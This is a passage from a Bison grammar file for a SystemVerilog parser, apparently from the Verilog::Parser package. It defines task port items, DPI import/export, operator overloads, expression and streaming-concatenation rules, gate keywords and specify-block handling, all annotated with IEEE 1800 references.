| tf_port_itemAssignment { PINNUMINC(); }
;
tf_port_itemFront: // IEEE: part of tf_port_item, which has the data type
data_type { VARDTYPE($1); }
| signingE rangeList { VARDTYPE(SPACED($1,$2)); }
| signing { VARDTYPE($1); }
| yVAR data_type { VARDTYPE($2); }
| yVAR implicit_typeE { VARDTYPE($2); }
//
| tf_port_itemDir /*implicit*/ { VARDTYPE(""); /*default_nettype-see spec*/ }
| tf_port_itemDir data_type { VARDTYPE($2); }
| tf_port_itemDir signingE rangeList { VARDTYPE(SPACED($2,$3)); }
| tf_port_itemDir signing { VARDTYPE($2); }
| tf_port_itemDir yVAR data_type { VARDTYPE($3); }
| tf_port_itemDir yVAR implicit_typeE { VARDTYPE($3); }
;
tf_port_itemDir: // IEEE: part of tf_port_item, direction
port_direction { } // port_direction sets VARIO
;
tf_port_itemAssignment: // IEEE: part of tf_port_item, which has assignment
id variable_dimensionListE sigAttrListE
{ VARDONE($<fl>1, $1, $2, ""); }
| id variable_dimensionListE sigAttrListE '=' expr
{ VARDONE($<fl>1, $1, $2, $5); }
;
parenE:
/* empty */ { }
| '(' ')' { }
;
// method_call: // ==IEEE: method_call + method_call_body
// // IEEE: method_call_root '.' method_identifier [ '(' list_of_arguments ')' ]
// // "method_call_root '.' method_identifier" looks just like "expr '.' id"
// // "method_call_root '.' method_identifier (...)" looks just like "expr '.' tf_call"
// // IEEE: built_in_method_call
// // method_call_root not needed, part of expr resolution
// // What's left is below array_methodNoRoot
array_methodNoRoot<str>: // ==IEEE: built_in_method_call without root
// // method_call_root not needed, part of expr resolution
array_method_nameNoId method_callWithE { $<fl>$=$<fl>1; $$=$1+$2; }
| array_method_nameNoId '(' list_of_argumentsE ')' method_callWithE { $<fl>$=$<fl>1; $$=$1+$2+$3+$4+$5; }
// // "method_call_root '.' randomize_call" matches function_subroutine_call:randomize_call
;
method_callWithE<str>:
// // Code duplicated elsewhere
/* empty */ { $$=""; }
| yWITH__PAREN '(' expr ')' { $<fl>$=$<fl>1; $$=$1+$2+$3+$4; }
;
array_method_nameNoId<str>: // IEEE: array_method_name minus method_identifier
yUNIQUE { $<fl>$=$<fl>1; $$=$1; }
| yAND { $<fl>$=$<fl>1; $$=$1; }
| yOR { $<fl>$=$<fl>1; $$=$1; }
| yXOR { $<fl>$=$<fl>1; $$=$1; }
;
dpi_import_export: // ==IEEE: dpi_import_export
yIMPORT yaSTRING dpi_tf_import_propertyE dpi_importLabelE function_prototype ';' { }
| yIMPORT yaSTRING dpi_tf_import_propertyE dpi_importLabelE task_prototype ';' { }
| yEXPORT yaSTRING dpi_importLabelE function idAny ';' { }
| yEXPORT yaSTRING dpi_importLabelE task idAny ';' { }
;
dpi_importLabelE: // IEEE: part of dpi_import_export
/* empty */ { }
| idAny/*c_identifier*/ '=' { }
;
dpi_tf_import_propertyE: // IEEE: [ dpi_function_import_property + dpi_task_import_property ]
/* empty */ { }
| yCONTEXT { }
| yPURE { }
;
overload_declaration: // ==IEEE: overload_declaration
// // OLD: Overloads deprecated in IEEE 1800-2017
yBIND overload_operator function data_type idAny/*new-function_identifier*/
'(' overload_proto_formals ')' ';' { }
;
overload_operator<str>: // ==IEEE: overload_operator
"+" { $$="+"; }
| yP_PLUSPLUS { $$="++"; }
| "-" { $$="-"; }
| yP_MINUSMINUS { $$="--"; }
| "*" { $$="*"; }
| yP_POW { $$="**"; }
| "/" { $$="/"; }
| "%" { $$="%"; }
| yP_EQUAL { $$="=="; }
| yP_NOTEQUAL { $$="!="; }
| "<" { $$="<"; }
| yP_LTE { $$="<="; }
| ">" { $$=">"; }
| yP_GTE { $$=">="; }
| "=" { $$="="; }
;
overload_proto_formals: // ==IEEE: overload_proto_formals
data_type { }
| overload_proto_formals ',' data_type { }
;
//************************************************
// Expressions
//
// ~l~ means this is the (l)eft hand side of any operator
// it will get replaced by "", "f" or "s"equence
// ~r~ means this is a (r)ight hand later expansion in the same statement,
// not under parenthesis for <= disambiguation
// it will get replaced by "", or "f"
// ~p~ means this is a (p)arenthetized expression
// it will get replaced by "", or "s"equence
constExpr<str>:
expr { $<fl>$=$<fl>1; $$ = $1; }
;
expr<str>: // IEEE: part of expression/constant_expression/primary
// *SEE BELOW* // IEEE: primary/constant_primary
//
// // IEEE: unary_operator primary
'+' ~r~expr %prec prUNARYARITH { $<fl>$=$<fl>1; $$ = $1+$2; }
| '-' ~r~expr %prec prUNARYARITH { $<fl>$=$<fl>1; $$ = $1+$2; }
| '!' ~r~expr %prec prNEGATION { $<fl>$=$<fl>1; $$ = $1+$2; }
| '&' ~r~expr %prec prREDUCTION { $<fl>$=$<fl>1; $$ = $1+$2; }
| '~' ~r~expr %prec prNEGATION { $<fl>$=$<fl>1; $$ = $1+$2; }
| '|' ~r~expr %prec prREDUCTION { $<fl>$=$<fl>1; $$ = $1+$2; }
| '^' ~r~expr %prec prREDUCTION { $<fl>$=$<fl>1; $$ = $1+$2; }
| yP_NAND ~r~expr %prec prREDUCTION { $<fl>$=$<fl>1; $$ = $1+$2; }
| yP_NOR ~r~expr %prec prREDUCTION { $<fl>$=$<fl>1; $$ = $1+$2; }
| yP_XNOR ~r~expr %prec prREDUCTION { $<fl>$=$<fl>1; $$ = $1+$2; }
//
// // IEEE: inc_or_dec_expression
| ~l~inc_or_dec_expression { $<fl>$=$<fl>1; $$ = $1; }
//
// // IEEE: '(' operator_assignment ')'
// // Need exprScope of variable_lvalue to prevent conflict
| '(' ~p~exprScope '=' expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+$3+$4+")"; }
| '(' ~p~exprScope yP_PLUSEQ expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+$3+$4+")"; }
| '(' ~p~exprScope yP_MINUSEQ expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+$3+$4+")"; }
| '(' ~p~exprScope yP_TIMESEQ expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+$3+$4+")"; }
| '(' ~p~exprScope yP_DIVEQ expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+$3+$4+")"; }
| '(' ~p~exprScope yP_MODEQ expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+$3+$4+")"; }
| '(' ~p~exprScope yP_ANDEQ expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+$3+$4+")"; }
| '(' ~p~exprScope yP_OREQ expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+$3+$4+")"; }
| '(' ~p~exprScope yP_XOREQ expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+$3+$4+")"; }
| '(' ~p~exprScope yP_SLEFTEQ expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+$3+$4+")"; }
| '(' ~p~exprScope yP_SRIGHTEQ expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+$3+$4+")"; }
| '(' ~p~exprScope yP_SSRIGHTEQ expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+$3+$4+")"; }
//
// // IEEE: expression binary_operator expression
| ~l~expr '+' ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr '-' ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr '*' ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr '/' ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr '%' ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_EQUAL ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_NOTEQUAL ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_CASEEQUAL ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_CASENOTEQUAL ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_WILDEQUAL ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_WILDNOTEQUAL ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_ANDAND ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_OROR ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_POW ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr '<' ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr '>' ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_GTE ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr '&' ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr '|' ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr '^' ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_XNOR ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_NOR ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_NAND ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_SLEFT ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_SRIGHT ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_SSRIGHT ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| ~l~expr yP_LTMINUSGT ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
//
// // IEEE: expr yP_MINUSGT expr (1800-2009)
// // Conflicts with constraint_expression:"expr yP_MINUSGT constraint_set"
// // To duplicating expr for constraints, just allow the more general form
// // Later Ast processing must ignore constraint terms where inappropriate
| ~l~expr yP_MINUSGT constraint_set { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
//
// // <= is special, as we need to disambiguate it with <= assignment
// // We copy all of expr to fexpr and rename this token to a fake one.
| ~l~expr yP_LTE~f__IGNORE~ ~r~expr { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
//
// // IEEE: conditional_expression
| ~l~expr '?' ~r~expr ':' ~r~expr { $<fl>$=$<fl>1; $$ = $1+"?"+$3+":"+$5; }
//
// // IEEE: inside_expression
| ~l~expr yINSIDE '{' open_range_list '}' { $<fl>$=$<fl>1; $$ = $1+" inside {"+$3+"}"; }
//
// // IEEE: tagged_union_expression
| yTAGGED id/*member*/ %prec prTAGGED { $<fl>$=$<fl>1; $$ = " tagged "+$1; }
| yTAGGED id/*member*/ %prec prTAGGED expr { $<fl>$=$<fl>1; $$ = " tagged "+$1+" "+$2; }
//
//======================// IEEE: primary/constant_primary
//
// // IEEE: primary_literal (minus string, which is handled specially)
| yaINTNUM { $<fl>$=$<fl>1; $$ = $1; }
| yaFLOATNUM { $<fl>$=$<fl>1; $$ = $1; }
| yaTIMENUM { $<fl>$=$<fl>1; $$ = $1; }
| strAsInt~noStr__IGNORE~ { $<fl>$=$<fl>1; $$ = $1; }
//
// // IEEE: "... hierarchical_identifier select" see below
//
// // IEEE: empty_queue (IEEE 1800-2017 empty_unpacked_array_concatenation)
| '{' '}'
//
// // IEEE: concatenation/constant_concatenation
// // Part of exprOkLvalue below
//
// // IEEE: multiple_concatenation/constant_multiple_concatenation
| '{' constExpr '{' cateList '}' '}' { $<fl>$=$<fl>1; $$ = "{"+$2+"{"+$4+"}}"; }
// // IEEE: multiple_concatenation/constant_multiple_concatenation+ range_expression (1800-2009)
| '{' constExpr '{' cateList '}' '}' '[' expr ']'
{ $<fl>$=$<fl>1; $$ = "{"+$2+"{"+$4+"}}["+$8+"]"; NEED_S09($<fl>6,"{}[]"); }
| '{' constExpr '{' cateList '}' '}' '[' expr ':' expr ']'
{ $<fl>$=$<fl>1; $$ = "{"+$2+"{"+$4+"}}["+$8+$9+$10+"]"; NEED_S09($<fl>6,"{}[]"); }
| '{' constExpr '{' cateList '}' '}' '[' expr yP_PLUSCOLON expr ']'
{ $<fl>$=$<fl>1; $$ = "{"+$2+"{"+$4+"}}["+$8+$9+$10+"]"; NEED_S09($<fl>6,"{}[]"); }
| '{' constExpr '{' cateList '}' '}' '[' expr yP_MINUSCOLON expr ']'
{ $<fl>$=$<fl>1; $$ = "{"+$2+"{"+$4+"}}["+$8+$9+$10+"]"; NEED_S09($<fl>6,"{}[]"); }
//
| function_subroutine_callNoMethod { $$ = $1; }
// // method_call
| ~l~expr '.' function_subroutine_callNoMethod { $<fl>$=$<fl>1; $$=$1+"."+$3; }
// // method_call:array_method requires a '.'
| ~l~expr '.' array_methodNoRoot { $<fl>$=$<fl>1; $$ = $1+"."+$3; }
//
// // IEEE: let_expression
// // see funcRef
//
// // IEEE: '(' mintypmax_expression ')'
| ~noPar__IGNORE~'(' expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+")"; }
| ~noPar__IGNORE~'(' expr ':' expr ':' expr ')' { $<fl>$=$<fl>1; $$ = "("+$2+":"+$4+":"+$5+")"; }
// // PSL rule
| '_' '(' statePushVlg expr statePop ')' { $<fl>$=$<fl>1; $$ = "_("+$4+")"; } // Arbitrary Verilog inside PSL
//
// // IEEE: cast/constant_cast
| casting_type yP_TICK '(' expr ')' { $<fl>$=$<fl>1; $$ = $1+"'("+$4+")"; }
// // Spec only allows primary with addition of a type reference
// // We'll be more general, and later assert LHS was a type.
| ~l~expr yP_TICK '(' expr ')' { $<fl>$=$<fl>1; $$ = $1+"'("+$4+")"; }
//
// // IEEE: assignment_pattern_expression
// // IEEE: streaming_concatenation
// // See exprOkLvalue
//
// // IEEE: sequence_method_call
// // Indistinguishable from function_subroutine_call:method_call
//
| '$' { $<fl>$=$<fl>1; $$ = "$"; }
| yNULL { $<fl>$=$<fl>1; $$ = $1; }
// // IEEE: yTHIS
// // See exprScope
//
//----------------------
//
// // Part of expr that may also be used as lvalue
| ~l~exprOkLvalue { $<fl>$=$<fl>1; $$ = $1; }
//
//----------------------
//
// // IEEE: cond_predicate - here to avoid reduce problems
// // Note expr includes cond_pattern
| ~l~expr yP_ANDANDAND ~r~expr { $<fl>$=$<fl>1; $$ = $1 + "&&&" + $3; }
//
// // IEEE: cond_pattern - here to avoid reduce problems
// // "expr yMATCHES pattern"
// // IEEE: pattern - expanded here to avoid conflicts
| ~l~expr yMATCHES patternNoExpr { $<fl>$=$<fl>1; $$ = $1 + " matches " + $3; }
| ~l~expr yMATCHES ~r~expr { $<fl>$=$<fl>1; $$ = $1 + " matches " + $3; }
//
// // IEEE: expression_or_dist - here to avoid reduce problems
// // "expr yDIST '{' dist_list '}'"
| ~l~expr yDIST '{' dist_list '}' { $<fl>$=$<fl>1; $$ = $1 + " dist " + $3+"..."+$5; }
;
fexpr<str>: // For use as first part of statement (disambiguates <=)
BISONPRE_COPY(expr,{s/~l~/f/g; s/~r~/f/g; s/~f__IGNORE~/__IGNORE/g;}) // {copied}
;
ev_expr<str>: // IEEE: event_expression
// // for yOR/, see event_expression
//
// // IEEE: [ edge_identifier ] expression [ yIFF expression ]
// // expr alone see below
senitemEdge { }
| ev_expr yIFF expr { }
//
// // IEEE: sequence_instance [ yIFF expression ]
// // seq_inst is in expr, so matches senitem rule above
//
// // IEEE: event_expression yOR event_expression
| ev_expr yOR ev_expr { }
// // IEEE: event_expression ',' event_expression
// // See real event_expression rule
//
//---------------------
// // IEEE: expr
| BISONPRE_COPY(expr,{s/~l~/ev_/g; s/~r~/ev_/g; s/~p~/ev_/g; s/~noPar__IGNORE~/yP_PAR__IGNORE /g;}) // {copied}
//
// // IEEE: '(' event_expression ')'
// // expr:'(' x ')' conflicts with event_expression:'(' event_expression ')'
// // so we use a special expression class
| '(' event_expression ')' { $<fl>$=$<fl>1; $$ = "(...)"; }
// // IEEE: From normal expr: '(' expr ':' expr ':' expr ')'
// // But must avoid conflict
| '(' event_expression ':' expr ':' expr ')' { $<fl>$=$<fl>1; $$ = "(...)"; }
;
//sexpr: See elsewhere
//pexpr: See elsewhere
exprOkLvalue<str>: // expression that's also OK to use as a variable_lvalue
~l~exprScope { $<fl>$=$<fl>1; $$ = $1; }
// // IEEE: concatenation/constant_concatenation
| '{' cateList '}' { $<fl>$=$<fl>1; $$ = "{"+$2+"}"; }
// // IEEE: concatenation/constant_concatenation+ constant_range_expression (1800-2009)
| '{' cateList '}' '[' expr ']' { $<fl>$=$<fl>1; $$ = "{"+$2+"}["+$5+"]"; NEED_S09($<fl>4,"{}[]"); }
| '{' cateList '}' '[' expr ':' expr ']' { $<fl>$=$<fl>1; $$ = "{"+$2+"}["+$5+$6+$7+"]"; NEED_S09($<fl>4,"{}[]"); }
| '{' cateList '}' '[' expr yP_PLUSCOLON expr ']' { $<fl>$=$<fl>1; $$ = "{"+$2+"}["+$5+$6+$7+"]"; NEED_S09($<fl>4,"{}[]"); }
| '{' cateList '}' '[' expr yP_MINUSCOLON expr ']' { $<fl>$=$<fl>1; $$ = "{"+$2+"}["+$5+$6+$7+"]"; NEED_S09($<fl>4,"{}[]"); }
// // IEEE: assignment_pattern_expression
// // IEEE: [ assignment_pattern_expression_type ] == [ ps_type_id /ps_paremeter_id/data_type]
// // We allow more here than the spec requires
| ~l~exprScope assignment_pattern { $<fl>$=$<fl>1; $$=$1+$2; }
| data_type assignment_pattern { $<fl>$=$<fl>1; $$=$1+$2; }
| assignment_pattern { $<fl>$=$<fl>1; $$=$1; }
//
| streaming_concatenation { $<fl>$=$<fl>1; $$ = $1; }
;
fexprOkLvalue<str>: // exprOkLValue, For use as first part of statement (disambiguates <=)
BISONPRE_COPY(exprOkLvalue,{s/~l~/f/g}) // {copied}
;
sexprOkLvalue<str>: // exprOkLValue, For use by sequence_expr
BISONPRE_COPY(exprOkLvalue,{s/~l~/s/g}) // {copied}
;
pexprOkLvalue<str>: // exprOkLValue, For use by property_expr
BISONPRE_COPY(exprOkLvalue,{s/~l~/p/g}) // {copied}
;
ev_exprOkLvalue<str>: // exprOkLValue, For use by ev_expr
BISONPRE_COPY(exprOkLvalue,{s/~l~/ev_/g}) // {copied}
;
pev_exprOkLvalue<str>: // exprOkLValue, For use by ev_expr
BISONPRE_COPY(exprOkLvalue,{s/~l~/pev_/g}) // {copied}
;
exprLvalue<str>: // expression that should be a variable_lvalue
~f~exprOkLvalue { $<fl>$=$<fl>1; $$ = $1; }
;
fexprLvalue<str>: // For use as first part of statement (disambiguates <=)
BISONPRE_COPY(exprLvalue,{s/~f~/f/g}) // {copied}
;
exprScope<str>: // scope and variable for use to inside an expression
// // Here we've split method_call_root | implicit_class_handle | class_scope | package_scope
// // from the object being called and let expr's "." deal with resolving it.
// // (note method_call_root was simplified to require a primary in 1800-2009)
//
// // IEEE: [ implicit_class_handle . | class_scope | package_scope ] hierarchical_identifier select
// // Or method_call_body without parenthesis
// // See also varRefClassBit, which is the non-expr version of most of this
yTHIS { $<fl>$=$<fl>1; $$ = $1; }
| idArrayed { $<fl>$=$<fl>1; $$ = $1; }
| package_scopeIdFollows idArrayed { $<fl>$=$<fl>1; $$ = $1+$2; }
| class_scopeIdFollows idArrayed { $<fl>$=$<fl>1; $$ = $<str>1+$2; }
| ~l~expr '.' idArrayed { $<fl>$=$<fl>1; $$ = $1+"."+$3; PORTNET($<fl>1, $$); }
// // expr below must be a "yTHIS"
| ~l~expr '.' ySUPER { $<fl>$=$<fl>1; $$ = $1+"."+$3; }
// // Part of implicit_class_handle
| ySUPER { $<fl>$=$<fl>1; $$ = $1; }
;
fexprScope<str>: // exprScope, For use as first part of statement (disambiguates <=)
BISONPRE_COPY(exprScope,{s/~l~/f/g}) // {copied}
;
sexprScope<str>: // exprScope, For use by sequence_expr
BISONPRE_COPY(exprScope,{s/~l~/s/g}) // {copied}
;
pexprScope<str>: // exprScope, For use by property_expr
BISONPRE_COPY(exprScope,{s/~l~/p/g}) // {copied}
;
ev_exprScope<str>: // exprScope, For use by ev_expr
BISONPRE_COPY(exprScope,{s/~l~/ev_/g}) // {copied}
;
pev_exprScope<str>: // exprScope, For use by ev_expr
BISONPRE_COPY(exprScope,{s/~l~/pev_/g}) // {copied}
;
// Generic expressions
exprOrDataType<str>: // expr | data_type: combined to prevent conflicts
expr { $<fl>$=$<fl>1; $$ = $1; }
// // data_type includes id that overlaps expr, so special flavor
| data_type { $<fl>$=$<fl>1; $$ = $1; }
// // not in spec, but needed for $past(sig,1,,@(posedge clk))
| event_control { $$ = "event_control"; }
;
exprOrDataTypeOrMinTypMax<str>: // exprOrDataType or mintypmax_expression
expr { $<fl>$=$<fl>1; $$ = $1; }
| expr ':' expr ':' expr { $<fl>$=$<fl>1; $$ = $1+$2+$3+$4+$5; }
// // data_type includes id that overlaps expr, so special flavor
| data_type { $<fl>$=$<fl>1; $$ = $1; }
// // not in spec, but needed for $past(sig,1,,@(posedge clk))
| event_control { $$ = "event_control"; }
;
cateList<str>:
// // Not just 'expr' to prevent conflict via stream_concOrExprOrType
stream_expression { $<fl>$=$<fl>1; $$ = $1; PIN_CONCAT_APPEND($1); }
| cateList ',' stream_expression { $<fl>$=$<fl>1; $$ = $1+","+$3; PIN_CONCAT_APPEND($3); }
;
exprOrDataTypeList<str>:
exprOrDataType { $<fl>$=$<fl>1; $$ = $1; }
| exprOrDataTypeList ',' exprOrDataType { $<fl>$=$<fl>1; $$ = $1+","+$3; }
| exprOrDataTypeList ',' { $<fl>$=$<fl>1; $$ = $1+","; } // Verilog::Parser only: ,, is ok
;
list_of_argumentsE<str>: // IEEE: [list_of_arguments]
// // See comments under funcRef
argsDottedList { $<fl>$=$<fl>1; $$=$1; }
| argsExprListE { $<fl>$=$<fl>1; $$=$1; }
| argsExprListE ',' argsDottedList { $<fl>$=$<fl>1; $$=$1+","+$3; }
;
pev_list_of_argumentsE<str>: // IEEE: [list_of_arguments] - pev_expr at bottom
// // See comments under funcRef
pev_argsDottedList { $<fl>$=$<fl>1; $$=$1; }
| pev_argsExprListE { $<fl>$=$<fl>1; $$=$1; }
| pev_argsExprListE ',' pev_argsDottedList { $<fl>$=$<fl>1; $$=$1+","+$3; }
;
argsExprList<str>: // IEEE: part of list_of_arguments (used where ,, isn't legal)
expr { $<fl>$=$<fl>1; $$ = $1; }
| argsExprList ',' expr { $<fl>$=$<fl>1; $$ = $1+","+$3; }
;
argsExprListE<str>: // IEEE: part of list_of_arguments
argsExprOneE { $<fl>$=$<fl>1; $$ = $1; }
| argsExprListE ',' argsExprOneE { $<fl>$=$<fl>1; $$ = $1+","+$3; }
;
pev_argsExprListE<str>: // IEEE: part of list_of_arguments - pev_expr at bottom
pev_argsExprOneE { $<fl>$=$<fl>1; $$ = $1; }
| pev_argsExprListE ',' pev_argsExprOneE { $<fl>$=$<fl>1; $$ = $1+","+$3; }
;
argsExprOneE<str>: // IEEE: part of list_of_arguments
/*empty*/ { $$ = ""; } // ,, is legal in list_of_arguments
| expr { $<fl>$=$<fl>1; $$ = $1; }
;
pev_argsExprOneE<str>: // IEEE: part of list_of_arguments - pev_expr at bottom
/*empty*/ { $$ = ""; } // ,, is legal in list_of_arguments
| pev_expr { $<fl>$=$<fl>1; $$ = $1; }
;
argsDottedList<str>: // IEEE: part of list_of_arguments
argsDotted { $<fl>$=$<fl>1; $$=$1; }
| argsDottedList ',' argsDotted { $<fl>$=$<fl>1; $$=$1+","+$3; }
;
pev_argsDottedList<str>: // IEEE: part of list_of_arguments - pev_expr at bottom
pev_argsDotted { $<fl>$=$<fl>1; $$=$1; }
| pev_argsDottedList ',' pev_argsDotted { $<fl>$=$<fl>1; $$=$1+","+$3; }
;
argsDotted<str>: // IEEE: part of list_of_arguments
'.' idAny '(' ')' { $<fl>$=$<fl>1; $$=$1+$2+$3+$4; }
| '.' idAny '(' expr ')' { $<fl>$=$<fl>1; $$=$1+$2+$3+$4+$5; }
;
pev_argsDotted<str>: // IEEE: part of list_of_arguments - pev_expr at bottom
'.' idAny '(' ')' { $<fl>$=$<fl>1; $$=$1+$2+$3+$4; }
| '.' idAny '(' pev_expr ')' { $<fl>$=$<fl>1; $$=$1+$2+$3+$4+$5; }
;
streaming_concatenation<str>: // ==IEEE: streaming_concatenation
// // Need to disambiguate {<< expr-{ ... expr-} stream_concat }
// // From {<< stream-{ ... stream-} }
// // Likewise simple_type's idScoped from constExpr's idScope
// // Thus we allow always any two operations. Sorry
// // IEEE: "'{' yP_SL/R stream_concatenation '}'"
// // IEEE: "'{' yP_SL/R simple_type stream_concatenation '}'"
// // IEEE: "'{' yP_SL/R constExpr stream_concatenation '}'"
'{' yP_SLEFT stream_concOrExprOrType '}' { $<fl>$=$<fl>1; $$="{<<"+$3+"}"; }
| '{' yP_SRIGHT stream_concOrExprOrType '}' { $<fl>$=$<fl>1; $$="{>>"+$3+"}"; }
| '{' yP_SLEFT stream_concOrExprOrType stream_concatenation '}' { $<fl>$=$<fl>1; $$="{<<"+$3+" "+$4+"}"; }
| '{' yP_SRIGHT stream_concOrExprOrType stream_concatenation '}' { $<fl>$=$<fl>1; $$="{>>"+$3+" "+$4+"}"; }
;
stream_concOrExprOrType<str>: // IEEE: stream_concatenation | slice_size:simple_type | slice_size:constExpr
cateList { $<fl>$=$<fl>1; $$=$1; }
| simple_type { $<fl>$=$<fl>1; $$=$1; }
// // stream_concatenation found via cateList:stream_expr:'{-normal-concat'
// // simple_typeRef found via cateList:stream_expr:expr:id
// // constant_expression found via cateList:stream_expr:expr
;
stream_concatenation<str>: // ==IEEE: stream_concatenation
'{' stream_expressionList '}' { $<fl>$=$<fl>1; $$="{"+$2+"}"; }
;
stream_expressionList<str>: // IEEE: part of stream_concatenation
stream_expression { $<fl>$=$<fl>1; $$=$1; }
| stream_expressionList ',' stream_expression { $<fl>$=$<fl>1; $$=$1+","+$3; }
;
stream_expression<str>: // ==IEEE: stream_expression
// // IEEE: array_range_expression expanded below
expr { $<fl>$=$<fl>1; $$=$1; }
| expr yWITH__BRA '[' expr ']' { $<fl>$=$<fl>1; $$=$1; }
| expr yWITH__BRA '[' expr ':' expr ']' { $<fl>$=$<fl>1; $$=$1; }
| expr yWITH__BRA '[' expr yP_PLUSCOLON expr ']' { $<fl>$=$<fl>1; $$=$1; }
| expr yWITH__BRA '[' expr yP_MINUSCOLON expr ']' { $<fl>$=$<fl>1; $$=$1; }
;
//************************************************
// Gate declarations
// We can't tell between UDPs and modules as they aren't declared yet.
// For simplicity, assume everything is a module, perhaps nameless,
// and deal with it later.
// IEEE: cmos_switchtype + enable_gatetype + mos_switchtype
// + n_input_gatetype + n_output_gatetype + pass_en_switchtype
// + pass_switchtype
gateKwd<str>:
ygenGATE { $<fl>$=$<fl>1; INSTPREP($1,0,0); }
| yAND { $<fl>$=$<fl>1; INSTPREP($1,0,0); }
| yBUF { $<fl>$=$<fl>1; INSTPREP($1,0,0); }
| yNAND { $<fl>$=$<fl>1; INSTPREP($1,0,0); }
| yNOR { $<fl>$=$<fl>1; INSTPREP($1,0,0); }
| yNOT { $<fl>$=$<fl>1; INSTPREP($1,0,0); }
| yOR { $<fl>$=$<fl>1; INSTPREP($1,0,0); }
| yXNOR { $<fl>$=$<fl>1; INSTPREP($1,0,0); }
| yXOR { $<fl>$=$<fl>1; INSTPREP($1,0,0); }
;
// This list is also hardcoded in VParseLex.l
strength: // IEEE: strength0+strength1 - plus HIGHZ/SMALL/MEDIUM/LARGE
ygenSTRENGTH { }
| ySUPPLY0 { }
| ySUPPLY1 { }
;
strengthSpecE: // IEEE: drive_strength + pullup_strength + pulldown_strength + charge_strength - plus empty
/* empty */ { }
| strengthSpec { }
;
strengthSpec: // IEEE: drive_strength + pullup_strength + pulldown_strength + charge_strength - plus empty
yP_PAR__STRENGTH strength ')' { }
| yP_PAR__STRENGTH strength ',' strength ')' { }
;
//************************************************
// Tables
combinational_body: // IEEE: combinational_body + sequential_body
yTABLE tableJunkList yENDTABLE { }
;
tableJunkList:
tableJunk { } /* ignored */
| tableJunkList tableJunk { } /* ignored */
;
tableJunk:
BISONPRE_NOT(yTABLE,yENDTABLE) { }
| yTABLE tableJunk yENDTABLE { }
| error {}
;
//************************************************
// Specify
specify_block: // ==IEEE: specify_block
ySPECIFY specifyJunkList yENDSPECIFY { }
| ySPECIFY yENDSPECIFY { }
;
specifyJunkList:
specifyJunk { } /* ignored */
| specifyJunkList specifyJunk { } /* ignored */
;
specifyJunk:
BISONPRE_NOT(ySPECIFY,yENDSPECIFY) { }
| ySPECIFY specifyJunk yENDSPECIFY { }
| error {}
;
specparam_declaration: // ==IEEE: specparam_declaration
ySPECPARAM junkToSemiList ';' { }
;
junkToSemiList:
junkToSemi { } /* ignored */
| junkToSemiList junkToSemi { } /* ignored */
;
junkToSemi:
BISONPRE_NOT(';',yENDSPECIFY,yENDMODULE) { }
| error {}
;
//************************************************
// IDs
id<str>:
yaID__ETC { $<fl>$=$<fl>1; $$=$1; }
;
idAny<str>: // Any kind of identifier
yaID__aPACKAGE { $<fl>$=$<fl>1; $$=$1; }
| yaID__aTYPE { $<fl>$=$<fl>1; $$=$1; }
| yaID__ETC { $<fl>$=$<fl>1; $$=$1; }
;
idSVKwd<str>: // Warn about non-forward compatible Verilog 2001 code
// // yBIT, yBYTE won't work here as causes conflicts
yDO { $<fl>$=$<fl>1; $$=$1; ERRSVKWD($<fl>1,$$); }
| yFINAL { $<fl>$=$<fl>1; $$=$1; ERRSVKWD($<fl>1,$$); }
;
variable_lvalue<str>: // IEEE: variable_lvalue or net_lvalue
// // Note many variable_lvalue's must use exprOkLvalue when arbitrary expressions may also exist
idClassSel { $<fl>$=$<fl>1; $$ = $1; }
| '{' variable_lvalueConcList '}' { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
